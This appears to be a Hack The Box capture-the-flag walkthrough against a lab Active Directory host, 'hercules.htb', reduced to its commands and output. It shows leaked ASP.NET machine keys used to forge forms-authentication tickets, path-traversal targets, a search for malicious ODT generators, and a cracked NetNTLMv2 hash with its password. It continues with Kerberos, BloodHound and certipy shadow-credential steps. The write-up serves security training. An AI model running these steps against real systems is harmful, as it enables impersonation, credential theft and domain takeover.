      <remove statusCode="404" subStatusCode="-1" />
      <error statusCode="404" path="/Error/Index?statusCode=404" responseMode="ExecuteURL" />
      <remove statusCode="500" subStatusCode="-1" />
      <error statusCode="500" path="/Error/Index?statusCode=500" responseMode="ExecuteURL" />
      <remove statusCode="501" subStatusCode="-1" />
      <error statusCode="501" path="/Error/Index?statusCode=501" responseMode="ExecuteURL" />
      <remove statusCode="503" subStatusCode="-1" />
      <error statusCode="503" path="/Error/Index?statusCode=503" responseMode="ExecuteURL" />
      <remove statusCode="400" subStatusCode="-1" />
      <error statusCode="400" path="/Error/Index?statusCode=400" responseMode="ExecuteURL" />
    </httpErrors>
  </system.webServer>
  <system.codedom>

    <compilers>
      <compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" compilerOptions="/langversion:default /nowarn:1659;1699;1701;612;618" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
      <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" warningLevel="4" compilerOptions="/langversion:default /nowarn:41008,40000,40008 /define:_MYTYPE=\"Web\" /optionInfer+" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
    </compilers>
  </system.codedom>
</configuration>

<!--ProjectGuid: 6648C4C4-2FF2-4FF1-9F3E-1A560E46AA52-->

B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581

EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80

decryption="AES"
validation="HMACSHA256"

531F5BD35063DE968196F071DDE06C042DB70D9EF7F8D6E01F70A6A343785A2C09902A373A8C679DA6DD75D218964E9E9285E5C827C1A348C80D6AF61C970EDA0BDE78C35FAE8A7ECE3215227DDA689427D403E0BE275E387E9DB35880CC4A40C8107FAFCD987FC4EC3E08EFA4F779A3628E5C2A101685E4722F459755E8802CC199BCA667857FA88F701C8040877701BBC4FA136423517A851A775EE1AB3F0B

https://github.com/4xura/FormsTicketTool

<?xml version="1.0" encoding="utf-8"?>
<configuration>
	<system.web>
		<compilation debug="false" targetFramework="4.0" />
		<machineKey
		  decryption="AES"
		  decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
		  validation="HMACSHA256"
		  validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />
	</system.web>
</configuration>

csc /r:System.Web.dll FormsTicketTool.cs

.\FormsTicketTool.exe decrypt 531F5BD35063DE968196F071DDE06C042DB70D9EF7F8D6E01F70A6A343785A2C09902A373A8C679DA6DD75D218964E9E9285E5C827C1A348C80D6AF61C970EDA0BDE78C35FAE8A7ECE3215227DDA689427D403E0BE275E387E9DB35880CC4A40C8107FAFCD987FC4EC3E08EFA4F779A3628E5C2A101685E4722F459755E8802CC199BCA667857FA88F701C8040877701BBC4FA136423517A851A775EE1AB3F0B

$ ldapsearch -x -H ldap://hercules.htb \
      -D "HERcules\\ken.w" \
      -w 'change*th1s_p@ssw()rd!!' \
      -b "DC=hercules,DC=htb" "(sAMAccountName=web_admin)" cn name department displayName memberOf

# web_admin, Web Department, DCHERCULES, hercules.htb
dn: CN=web_admin,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
cn: web_admin
displayName: web_admin
memberOf: CN=Domain Employees,OU=Domain Groups,OU=DCHERCULES,DC=hercules,DC=ht
 b
department: Web Administrators
name: web_admin

.\FormsTicketTool.exe encrypt 531F5BD3... web_admin "Web Administrators" 3600

FW: Security Department

Hello Web Admins,

Security is writing to inform you that in light of some necessary changes to the domain separate sign on for this site will be disabled in the coming future. Configuration changes you need to make:

1) Migrate user logons to use domain credentials.
2) Disable site registration.
3) For company logons, ensure this site is in sync with the KDC.
4) Restrict file upload to administrators only.

Currently we're working on disabling some legacy authentication systems in place on the domain. Once these protocols are deprecated we will consider relaxing some of these changes.

../../Global.asax
../../App_global.asax
../../App_Start/RouteConfig.cs
../../Views/Shared/_Layout.cshtml
../../Views/Shared/_LoginPartial.cshtml
../../Views/Home/Index.cshtml
../../Views/Error/Index.cs

@model HadesWeb.Models.UploadFormModel
@{
    ViewBag.Title = "Forms";
    Layout = "_Layout.cshtml";
}

@using (Html.BeginForm("Forms", "Home", FormMethod.Post, new { enctype = "multipart/form-data", @class = "upload-form-container" }))
{
    @Html.AntiForgeryToken()
    @Html.ValidationSummary(true, "", new { @class = "text-danger" })

    ...

C:\Users\Administrator\Desktop\DOMAINLAB\HadesWeb\obj\Release\HadesWeb.dll

public ActionResult Forms() => (ActionResult) this.View();

    [HttpPost]
    [ValidateAntiForgeryToken]
    [RateLimit]
    public ActionResult Forms(UploadFormModel model)
    {
      if (this.ModelState.IsValid)
      {
        if (model.UploadedFile != null && model.UploadedFile.ContentLength > 0)
        {
          if (this.User.IsInRole("Web Administrators"))
          {
            int num = 1048576;
            if (model.UploadedFile.ContentLength < num)
            {
              string[] source = new string[2]
              {
                ".docx",
                ".odt"
              };
              string lower = Path.GetExtension(model.UploadedFile.FileName).ToLower();
              if (((IEnumerable<string>) source).Contains<string>(lower))
              {
                try
                {
                  string filename = Path.Combine("C:\\inetpub\\Reports\\", Path.GetFileName(string.Format("{0}{1}", (object) Guid.NewGuid(), (object) lower)));
                  model.UploadedFile.SaveAs(filename);
                  // ISSUE: reference to a compiler-generated field
                  if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0 == null)
                  {
                    // ISSUE: reference to a compiler-generated field
                    HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Success", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
                    {
                      CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
                      CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
                    }));
                  }
                  // ISSUE: reference to a compiler-generated field
                  // ISSUE: reference to a compiler-generated field
                  object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0, ((ControllerBase) this).ViewBag, "Thank you for your report!");
                }
                catch (Exception ex)
                {
                }
              }
              else
              {
                // ISSUE: reference to a compiler-generated field
                if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1 == null)
                {
                  // ISSUE: reference to a compiler-generated field
                  HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
                  {
                    CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
                    CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
                  }));
                }
                // ISSUE: reference to a compiler-generated field
                // ISSUE: reference to a compiler-generated field
                object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1, ((ControllerBase) this).ViewBag, "File type is not supported.");
              }
            }
            else
            {
              // ISSUE: reference to a compiler-generated field
              if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2 == null)
              {
                // ISSUE: reference to a compiler-generated field
                HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
                {
                  CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
                  CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
                }));
              }
              // ISSUE: reference to a compiler-generated field
              // ISSUE: reference to a compiler-generated field
              object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2, ((ControllerBase) this).ViewBag, "File too large.");
            }
          }
          else
          {
            // ISSUE: reference to a compiler-generated field
            if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3 == null)
            {
              // ISSUE: reference to a compiler-generated field
              HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
              {
                CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
                CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
              }));
            }
            // ISSUE: reference to a compiler-generated field
            // ISSUE: reference to a compiler-generated field
            object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3, ((ControllerBase) this).ViewBag, "File Upload not permitted.");
          }
        }
        else
        {
          // ISSUE: reference to a compiler-generated field
          if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4 == null)
          {
            // ISSUE: reference to a compiler-generated field
            HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Success", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
            {
              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
            }));
          }
          // ISSUE: reference to a compiler-generated field
          // ISSUE: reference to a compiler-generated field
          object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4, ((ControllerBase) this).ViewBag, "Thank you for your report!");
        }
      }
      this.ClearEntries<UploadFormModel>(model);
      return (ActionResult) this.View((object) model);
    }

$ msfconsole -x 'search odt; exit'

Matching Modules
================

   #  Name                                             Disclosure Date  Rank     Check  Description
   -  ----                                             ---------------  ----     -----  -----------
   0  exploit/windows/telnet/goodtech_telnet           2005-03-15       average  No     GoodTech Telnet Server Buffer Overflow
   1    \_ target: Windows 2000 Pro English All        .                .        .      .
   2    \_ target: Windows XP Pro SP0/SP1 English      .                .        .      .
   3  auxiliary/fileformat/odt_badodt                  2018-05-01       normal   No     LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator
   4  exploit/multi/fileformat/libreoffice_macro_exec  2018-10-18       normal   No     LibreOffice Macro Code Execution
   5    \_ target: Windows                             .                .        .      .
   6    \_ target: Linux                               .                .        .      .
   7  exploit/multi/fileformat/libreoffice_logo_exec   2019-07-16       normal   No     LibreOffice Macro Python Code Execution

NATALIE.A::HERCULES:f202ebafbed683ed:d5d1f38f0373af6cdca54e1d971b227b:010100000000000080746e06f441dc01de6b184ac79c111c000000000200080053004f0050004f0001001e00570049004e002d00450039004b0051004400310041004500360038004b0004003400570049004e002d00450039004b0051004400310041004500360038004b002e0053004f0050004f002e004c004f00430041004c000300140053004f0050004f002e004c004f00430041004c000500140053004f0050004f002e004c004f00430041004c000700080080746e06f441dc0106000400020000000800300030000000000000000000000000200000a3c94157fbf128597a1ed2cc626393b4efe183b10bfaaca285cce78506b1b1b60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00340037000000000000000000:Prettyprincess123!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: NATALIE.A::HERCULES:f202ebafbed683ed:d5d1f38f0373af...000000

$ export KRB5_CONFIG=krb5.conf

$ nxc winrm hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
[19:08:32] ERROR    Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently                               winrm.py:62
WINRM-SSL   hercules.htb    5986   hercules.htb     [*] None (name:hercules.htb) (domain:None) (NTLM:False)

$ nxc smb hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
SMB         hercules.htb    445    hercules         [*]  x64 (name:hercules) (domain:htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         hercules.htb    445    hercules         [-] htb\natalie.a:Prettyprincess123! [Errno Connection error (HTB:88)] [Errno -2] Name or service not known

$ nxc ldap hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
LDAP        hercules.htb    389    DC               [*] None (name:DC) (domain:hercules.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        hercules.htb    389    DC               [+] hercules.htb\natalie.a:Prettyprincess123!

bloodhound-python \
      -dc 'dc.hercules.htb' -d 'hercules.htb' \
      -u natalie.a -p 'Prettyprincess123!' -k \
      -ns $targetIp --zip -c All 

getTGT.py hercules.htb/'natalie.a':'Prettyprincess123!' 
export KRB5CCNAME=natalie.a.ccache

certipy shadow \
		    -dc-host DC.HERCULES.HTB \
        -u 'natalie.a@HERCULES.HTB' -k \
        -account 'bob.w' \
        -ns $targetIp \
        auto